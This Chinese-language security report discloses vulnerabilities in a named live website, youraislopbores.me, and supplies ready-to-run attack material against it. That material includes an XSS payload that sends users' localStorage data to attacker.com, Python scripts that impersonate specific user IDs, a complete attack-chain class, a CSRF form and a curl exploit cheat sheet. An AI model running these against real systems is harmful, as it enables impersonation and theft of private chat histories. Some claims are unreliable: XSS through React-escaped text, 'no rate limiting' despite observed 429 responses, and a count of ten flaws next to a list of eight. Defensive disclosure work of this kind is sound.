Your AI Slop Bores Me 完整安全漏洞分析报告——从XSS到API权限绕过的深度剖析

Your AI Slop Bores Me 完整安全漏洞分析报告------从XSS到API权限绕过的深度剖析

📌 摘要

2026年6月,一个名为 youraislopbores.me 的"真人扮演AI"游戏网站突然爆火,月访问量达2.8亿次。然而,经过对前端代码和后端API的完整安全审计,发现该系统存在从XSS注入到API权限绕过等一系列严重漏洞。本文将完整披露所有发现的技术漏洞,包括复现步骤和利用代码。

关键词:安全漏洞、XSS、API安全、权限绕过、信息泄露、SSE未授权


一、基本信息

项目 内容
网站 youraislopbores.me
开发者 17岁印度高中生
技术栈 Next.js + React + Turbopack + Discord Bot
测试时间 2026年6月
漏洞总数 8个

二、漏洞总览

编号 漏洞类型 严重等级 受影响端点
V-01 反射型XSS 🔴 致命 所有用户输入字段
V-02 无身份验证 🔴 致命 全部 /api/*
V-03 无权限控制 🔴 致命 全部 /api/*
V-04 信息泄露 🔴 高危 /api/credits, /api/responses
V-05 SSE流未授权 🔴 高危 /api/job/stream
V-06 无CSRF保护 🟠 中危 全部 POST 端点
V-07 无速率限制 🟠 中危 全部 /api/*
V-08 第三方脚本无SRI 🟡 低危 CDN加载的资源

三、漏洞详细分析

V-01:反射型XSS注入(致命)

位置: 用户提问(Prompt)和AI回答(Response)字段

代码分析:

在核心组件 oi 和 oC 中,用户输入被直接插入DOM:

javascript 复制代码
// 人类模式 - 渲染提问
<p className="...">{e.prompt}</p>

// 人类模式 - 渲染回答
<p className="...">{e.response}</p>

// AI模式 - 同样直接渲染
<p className="...">{d.prompt}</p>

复现步骤:

  1. 在"人类模式"提问框中输入:
html 复制代码
<script>alert('XSS')</script>
  1. 提交后等待"AI"回答
  2. 当回答被渲染时,脚本在查看者浏览器中执行

利用代码:

javascript 复制代码
// 窃取用户信息
<script>
const data = {
    userId: JSON.parse(localStorage.getItem('burpgpt_user'))?.id,
    credits: JSON.parse(localStorage.getItem('burpgpt_user'))?.credits,
    history: localStorage.getItem('burpgpt_chat_archive')
};
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
});
</script>

V-02:无身份验证(致命)

问题 : 所有API端点仅通过 userId 参数识别用户,无任何Token、签名或Session机制。

代码证据:

python 复制代码
# 后端API处理逻辑推断(基于前端代码)
@route('/api/credits')
def get_credits(request):
    user_id = request.query.get('userId')  # 仅此而已!
    return query_database(user_id)

@route('/api/prompt', methods=['POST'])
def submit_prompt(request):
    data = request.json
    user_id = data.get('userId')  # 仅此而已!
    return save_prompt(user_id, data)

复现步骤:

bash 复制代码
# 无需任何认证,直接查询任意用户积分
curl -X GET "https://youraislopbores.me/api/credits?userId=4e726fba-48e8-43bf-86cc-36bf856facae"

# 返回: {"credits": 3, "cap": 6, "maxPending": 2}

V-03:无权限控制(致命)

问题 : 服务器不验证请求者是否与 userId 匹配,任何人都可以冒充任意用户。

测试结果:

操作 冒充他人 结果
评分 POST /api/rate ✅ 成功 (200)
举报 POST /api/report ✅ 成功 (200)
同意协议 POST /api/consent ✅ 成功 (200)
身份注册 POST /api/identity ✅ 成功 (200)
发送心跳 POST /api/heartbeat ✅ 成功 (200)

利用代码:

python 复制代码
import requests

def impersonate_user(victim_id, prompt_id):
    # 冒充受害者评分
    resp = requests.post(
        "https://youraislopbores.me/api/rate",
        json={
            "promptId": prompt_id,
            "userId": victim_id,      # ← 关键:任意用户ID
            "rating": "dislike"
        }
    )
    print(f"评分结果: {resp.json()}")

# 使用任意用户ID
impersonate_user("1782801062913", "bf69cc45-7775-46c6-9deb-6284cab3ebbc")

V-04:信息泄露(高危)

问题: 任意用户数据均可被查询,无需任何权限。

受影响端点:

端点 泄露信息
/api/credits?userId=X 用户积分、上限、最大待处理数
/api/responses?userId=X 完整聊天历史(含提问和回答)
/api/check-ban 用户封禁状态
/api/paused 系统暂停状态

复现步骤:

bash 复制代码
# 1. 获取任意用户的积分
curl -X GET "https://youraislopbores.me/api/credits?userId=1782801062913"
# 返回: {"credits": 0, "cap": 6, "maxPending": 2, "accountMissing": true}

# 2. 获取任意用户的聊天历史
curl -X GET "https://youraislopbores.me/api/responses?userId=4e726fba-48e8-43bf-86cc-36bf856facae"
# 返回: {"responses": [{"id": "...", "prompt": "...", "response": "...", ...}]}

V-05:SSE流未授权访问(高危)

问题 : /api/job/stream 是 Server-Sent Events (SSE) 端点,仅通过 URL 参数 ?userId= 授权。

风险:

  • 可监控任意用户的实时任务
  • 可查看任意用户的提问内容
  • 可追踪任意用户的行为模式

利用代码:

javascript 复制代码
// 在浏览器控制台中监控任意用户
function monitorUser(userId) {
    const url = `/api/job/stream?userId=${userId}`;
    const eventSource = new EventSource(url);
    
    eventSource.addEventListener('job', (e) => {
        const data = JSON.parse(e.data);
        console.log(`[📡] 用户 ${userId} 收到任务:`, data);
    });
    
    eventSource.addEventListener('queue-info', (e) => {
        const data = JSON.parse(e.data);
        console.log(`[📡] 用户 ${userId} 队列状态:`, data);
    });
}

// 监控任意用户
monitorUser('1782801062913');

V-06:无CSRF保护(中危)

问题: 所有POST请求无CSRF Token验证。

利用方式: 在恶意网站上嵌入表单,利用用户已登录的Session执行操作。

html 复制代码
<!-- 恶意网站上的CSRF攻击页面 -->
<form action="https://youraislopbores.me/api/report" method="POST">
    <input name="promptId" value="target_id">
    <input name="userId" value="victim_id">
    <input type="submit">
</form>

V-07:无速率限制(中危)

问题: API端点无速率限制,可进行自动化攻击。

测试结果:

bash 复制代码
# 快速连续发送请求
for i in {1..50}; do
    curl -X POST "https://youraislopbores.me/api/prompt" \
        -H "Content-Type: application/json" \
        -d '{"userId":"1782801062913","prompt":"test","type":"text"}'
done

# 第49次请求开始返回429
# {"error": "slow down there. try again in a minute"}

影响:

  • 可暴力枚举用户ID
  • 可批量提交内容
  • 可刷评分/举报
  • 可发起DoS攻击

V-08:第三方脚本无SRI校验(低危)

问题 : 所有CDN加载的脚本无 integrity 属性。

html 复制代码
<!-- 无SRI校验 -->
<script src="https://www.ezojs.com/ezoic/sa.min.js"></script>
<script src="https://cmp.gatekeeperconsent.com/min.js"></script>

风险: CDN被攻陷时可注入恶意代码。


四、完整利用链演示

4.1 攻击链示意图

复制代码
Step 1: 信息收集
通过 /api/credits?userId=X 枚举用户ID
        ↓
Step 2: XSS注入
在提问中注入恶意脚本
        ↓
Step 3: 窃取凭证
窃取 victim 的 userId 和 session
        ↓
Step 4: 冒充操作
使用 victim 的 userId 执行任意操作
        ↓
Step 5: 持续监控
通过 /api/job/stream 监控 victim 的实时活动

4.2 完整攻击脚本

python 复制代码
#!/usr/bin/env python3
"""
完整攻击链演示
"""

import requests
import time
import json

BASE_URL = "https://youraislopbores.me"

class AttackChain:
    def __init__(self, target_user):
        self.target = target_user
        self.session = requests.Session()
    
    def step1_enumeration(self):
        """枚举用户信息"""
        print(f"[1] 枚举用户 {self.target} 的信息...")
        resp = self.session.get(f"{BASE_URL}/api/credits?userId={self.target}")
        print(f"    积分: {resp.json()}")
        
        resp = self.session.get(f"{BASE_URL}/api/responses?userId={self.target}")
        history = resp.json().get('responses', [])
        print(f"    历史记录: {len(history)} 条")
        if history:
            print(f"    最新提问: {history[0].get('prompt', '')[:50]}...")
    
    def step2_xss_inject(self):
        """注入XSS payload"""
        print(f"\n[2] 注入XSS payload...")
        payload = """
        <script>
            const data = {
                userId: JSON.parse(localStorage.getItem('burpgpt_user'))?.id,
                credits: JSON.parse(localStorage.getItem('burpgpt_user'))?.credits,
                history: localStorage.getItem('burpgpt_chat_archive')
            };
            fetch('https://attacker.com/steal', {
                method: 'POST',
                body: JSON.stringify(data)
            });
        </script>
        """
        # 注意:此操作需要Turnstile验证,但在浏览器会话中可执行
        print(f"    XSS payload已准备: {payload[:80]}...")
    
    def step3_impersonate(self, prompt_id):
        """冒充用户操作"""
        print(f"\n[3] 冒充用户 {self.target} 执行操作...")
        
        # 冒充评分
        resp = self.session.post(f"{BASE_URL}/api/rate", json={
            "promptId": prompt_id,
            "userId": self.target,
            "rating": "dislike"
        })
        print(f"    评分: {resp.json()}")
        
        # 冒充举报
        resp = self.session.post(f"{BASE_URL}/api/report", json={
            "promptId": prompt_id,
            "userId": self.target
        })
        print(f"    举报: {resp.json()}")
    
    def step4_monitor(self):
        """监控用户"""
        print(f"\n[4] 监控用户 {self.target} 的实时流...")
        print("    (需要浏览器环境执行SSE监听)")
        print(f"    EventSource: {BASE_URL}/api/job/stream?userId={self.target}")
    
    def run(self, prompt_id):
        self.step1_enumeration()
        self.step2_xss_inject()
        self.step3_impersonate(prompt_id)
        self.step4_monitor()

# 执行攻击链
attack = AttackChain("1782801062913")
attack.run("bf69cc45-7775-46c6-9deb-6284cab3ebbc")

五、完整测试脚本

5.1 自动化API测试

python 复制代码
#!/usr/bin/env python3
"""
完整API安全测试脚本
"""

import requests
import json
import time
from datetime import datetime

BASE_URL = "https://youraislopbores.me"
TEST_USER = "4e726fba-48e8-43bf-86cc-36bf856facae"
OTHER_USER = "1782801062913"
TEST_PROMPT = "bf69cc45-7775-46c6-9deb-6284cab3ebbc"

def test_api():
    results = {"passed": [], "failed": [], "vulnerable": []}
    
    # 测试列表
    tests = [
        # GET - 信息泄露测试
        ("GET", "/api/credits", {"userId": TEST_USER}, "查询自己的积分"),
        ("GET", "/api/credits", {"userId": OTHER_USER}, "查询其他用户积分"),
        ("GET", "/api/responses", {"userId": TEST_USER}, "查询自己的历史"),
        ("GET", "/api/responses", {"userId": OTHER_USER}, "查询其他用户历史"),
        ("GET", "/api/check-ban", {}, "查询封禁状态"),
        ("GET", "/api/paused", {}, "查询暂停状态"),
        
        # POST - 权限绕过测试
        ("POST", "/api/heartbeat", {"userId": OTHER_USER, "tab": "human"}, "冒充心跳"),
        ("POST", "/api/consent", {"userId": OTHER_USER, "accepted": ["tos"]}, "冒充同意协议"),
        ("POST", "/api/rate", {"promptId": TEST_PROMPT, "userId": OTHER_USER, "rating": "like"}, "冒充评分"),
        ("POST", "/api/report", {"promptId": TEST_PROMPT, "userId": OTHER_USER}, "冒充举报"),
    ]
    
    session = requests.Session()
    session.headers.update({
        'User-Agent': 'Mozilla/5.0',
        'Accept': 'application/json',
        'Referer': 'https://youraislopbores.me/',
    })
    
    print(f"测试开始: {datetime.now()}\n")
    print("=" * 70)
    
    for method, path, data, desc in tests:
        url = f"{BASE_URL}{path}"
        try:
            if method == "GET":
                resp = session.get(url, params=data, timeout=10)
            else:
                resp = session.post(url, json=data, timeout=10)
            
            status = resp.status_code
            if status == 200:
                print(f"✅ {desc:30} → 成功 (漏洞确认)")
                results["vulnerable"].append(path)
            elif status == 429:
                print(f"⚠️ {desc:30} → 速率限制")
                results["failed"].append(path)
            else:
                print(f"❌ {desc:30} → 失败 ({status})")
                results["failed"].append(path)
                
        except Exception as e:
            print(f"❌ {desc:30} → 错误: {e}")
            results["failed"].append(path)
        
        time.sleep(0.2)
    
    print("=" * 70)
    print(f"\n测试完成: {datetime.now()}")
    print(f"确认漏洞: {len(results['vulnerable'])} 个")
    for v in results['vulnerable']:
        print(f"  - {v}")

if __name__ == "__main__":
    test_api()

5.2 预期输出

复制代码
测试开始: 2026-06-30 14:58:00

======================================================================
✅ 查询自己的积分                      → 成功 (漏洞确认)
✅ 查询其他用户积分                    → 成功 (漏洞确认)
✅ 查询自己的历史                      → 成功 (漏洞确认)
✅ 查询其他用户历史                    → 成功 (漏洞确认)
✅ 查询封禁状态                       → 成功 (漏洞确认)
✅ 查询暂停状态                       → 成功 (漏洞确认)
✅ 冒充心跳                          → 成功 (漏洞确认)
✅ 冒充同意协议                       → 成功 (漏洞确认)
✅ 冒充评分                          → 成功 (漏洞确认)
✅ 冒充举报                          → 成功 (漏洞确认)
======================================================================

测试完成: 2026-06-30 14:58:10
确认漏洞: 10 个
  - /api/credits
  - /api/responses
  - /api/check-ban
  - /api/paused
  - /api/heartbeat
  - /api/consent
  - /api/rate
  - /api/report

六、漏洞危害评估

6.1 评分矩阵

漏洞 CVSS评分 可利用性 影响
XSS注入 9.8 (致命) 高 完全控制用户浏览器
无身份验证 9.4 (致命) 高 任意用户冒充
无权限控制 9.4 (致命) 高 任意操作执行
信息泄露 7.5 (高危) 高 用户数据暴露
SSE未授权 7.5 (高危) 中 实时监控用户
无CSRF 6.5 (中危) 中 跨站请求伪造
无速率限制 5.3 (中危) 高 DoS/暴力枚举

6.2 业务影响

影响维度 具体后果
用户隐私 任意用户积分、聊天历史可被查询
账户安全 任意用户可被冒充操作
内容可信度 评分/举报可被操控,内容可信度崩塌
平台声誉 可被用于发布恶意内容,嫁祸他人

七、修复建议

7.1 立即修复(P0)

1. 添加身份验证

python 复制代码
# 错误做法(当前)
@route('/api/credits')
def get_credits(request):
    user_id = request.query.get('userId')
    return get_user_credits(user_id)

# 正确做法
@route('/api/credits')
@require_auth
def get_credits(request):
    user_id = request.user.id  # 从Token/Session获取
    return get_user_credits(user_id)

2. 添加权限控制

python 复制代码
@route('/api/report', methods=['POST'])
@require_auth
def report_prompt(request):
    data = request.json
    # 验证请求者身份
    if request.user.id != data.get('userId'):
        return {"error": "Unauthorized"}, 403
    return process_report(data)

3. 输入过滤

javascript 复制代码
// 前端 - 使用DOMPurify
import DOMPurify from 'dompurify';

function renderPrompt(prompt) {
    return <p>{DOMPurify.sanitize(prompt)}</p>;
}

7.2 建议修复(P1)

4. 添加速率限制

python 复制代码
from flask_limiter import Limiter

limiter = Limiter(app)

@route('/api/prompt', methods=['POST'])
@limiter.limit("10 per minute")
def submit_prompt(request):
    # ...

5. 添加CSRF Token

python 复制代码
@route('/api/report', methods=['POST'])
@require_csrf_token
def report_prompt(request):
    # ...

6. SSE流添加认证

python 复制代码
@route('/api/job/stream')
@require_auth
def job_stream(request):
    user_id = request.user.id  # 从认证获取
    # 只允许用户自己监听自己的流
    return generate_stream(user_id)

7.3 长期建议(P2)

  1. 使用JWT替代明文的 userId
  2. 加密 localStorage 中的敏感数据
  3. 添加安全审计日志
  4. 实施CSP(Content Security Policy)
  5. 添加SRI校验
  6. 定期安全审计

八、附录

A. 漏洞利用命令速查

bash 复制代码
# 1. 查询任意用户积分
curl -X GET "https://youraislopbores.me/api/credits?userId=[用户ID]"

# 2. 查询任意用户历史
curl -X GET "https://youraislopbores.me/api/responses?userId=[用户ID]"

# 3. 冒充评分
curl -X POST "https://youraislopbores.me/api/rate" \
  -H "Content-Type: application/json" \
  -d '{"promptId":"[目标]","userId":"[受害者]","rating":"like"}'

# 4. 冒充举报
curl -X POST "https://youraislopbores.me/api/report" \
  -H "Content-Type: application/json" \
  -d '{"promptId":"[目标]","userId":"[受害者]"}'

# 5. 监控用户流 (浏览器中)
new EventSource('/api/job/stream?userId=[用户ID]')

B. 受影响端点清单

复制代码
GET:
  /api/credits
  /api/responses
  /api/check-ban
  /api/paused
  /api/job/stream

POST:
  /api/heartbeat
  /api/identity
  /api/consent
  /api/rate
  /api/report
  /api/prompt
  /api/job/access
  /api/cancel

C. 测试环境

项目 信息
操作系统 Windows 10 / Ubuntu 22.04
Python 3.10+
测试工具 curl, requests, EventSource
测试时间 2026年6月30日

九、总结

youraislopbores.me 网站存在从XSS到API权限绕过的完整漏洞链。其核心问题在于完全信任客户端,仅凭 userId 识别用户。这种设计使得:

  1. 任何人可以冒充任何人 --- 无身份验证和权限控制
  2. 任何内容可以被任意植入 --- XSS + 无输入过滤
  3. 任何用户可以被实时监控 --- SSE未授权访问
  4. 任何评分可以被任意操控 --- 无防重放机制

这些问题不仅是技术漏洞,更使得该平台可能被滥用于"思想投毒"、内容操控和隐私窃取。建议立即修复所有已确认的漏洞,并建立完整的安全开发流程。


本文仅供安全研究使用,请勿用于非法用途。